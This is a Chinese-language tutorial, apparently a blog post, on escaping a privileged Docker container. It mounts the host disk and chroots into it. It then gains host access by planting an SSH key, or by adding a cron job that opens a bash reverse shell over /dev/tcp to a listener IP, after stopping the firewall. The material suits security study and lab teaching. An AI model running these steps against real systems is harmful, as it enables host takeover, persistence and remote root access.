今天要介紹的容器逃逸手法為只開放 privileged 的特權容器,跟上周介紹的把 host pid 掛進去容器不同,這次條件會相對嚴苛一些,就只開放 privileged 的特權容器,但對於容器逃逸來說已經很夠用了。
環境建立步驟如下 :
#建立特權容器
docker run --rm -it --privileged aeifkz/my-ubuntu:v1.0 bash ;
fdisk -l ;
mount /dev/sda2 /mnt ;
chroot /mnt bash ;
ls /proc ;
會觀察到根目錄切換成宿主機的根目錄,但僅限於檔案系統的內容,像是 /proc 這種虛擬檔案則無法看到,所以無法透過 nsenter 進行容器逃逸
接下來要透過修改檔案系統達到 RCE 的效果,可分為直接跟間接的方式。
間接式 :
透過修改使用者的認證資訊,再透過網路連線進行連接,比方說修改密碼或是新增 ssh 金鑰,再透過 ssh 連線連接伺服器。但需要知道宿主機的ip位址以及開啟 ssh 服務。
ssh 換 key 作法如下,參考 SSH 免密碼登入 :
ssh-keygen ;
cat ~/.ssh/id_rsa.pub ;
cd ~ ;
mkdir -p .ssh;
# 調整權限,這部很重要!!!
chmod 700 ~/.ssh/
#沒檔案的話要建立檔案
touch ~/.ssh/authorized_keys
chmod 644 ~/.ssh/authorized_keys
# 將剛剛的公鑰貼上
vim ~/.ssh/authorized_keys ;
ssh root@IP ;
whoami ;
直接式 :
#關閉防火牆服務
sudo systemctl stop firewalld ;
nc -lp 8080 ;
# 格式為 m h dom mon dow command
# minute (m), hour (h), day of month (dom), month (mon), and day of week (dow)
crontab -e ;
# 輸入執行排程資訊
*/1 * * * * bash -i >& /dev/tcp/192.168.66.129/8080 0>&1
# 透過 log 確認 crontab 執行結果
grep CRON /var/log/syslog ;
#編輯排程
crontab -e ;
*/1 * * * * 'bash -i >& /dev/tcp/192.168.66.129/8080 0>&1' >/tmp/error.txt 2>&1 ;
cat /tmp/error.txt;
#編輯排程
crontab -e ;
*/1 * * * * bash -c "bash -i >&/dev/tcp/192.168.66.129/8080 0>&1"
作業2
今日總結 :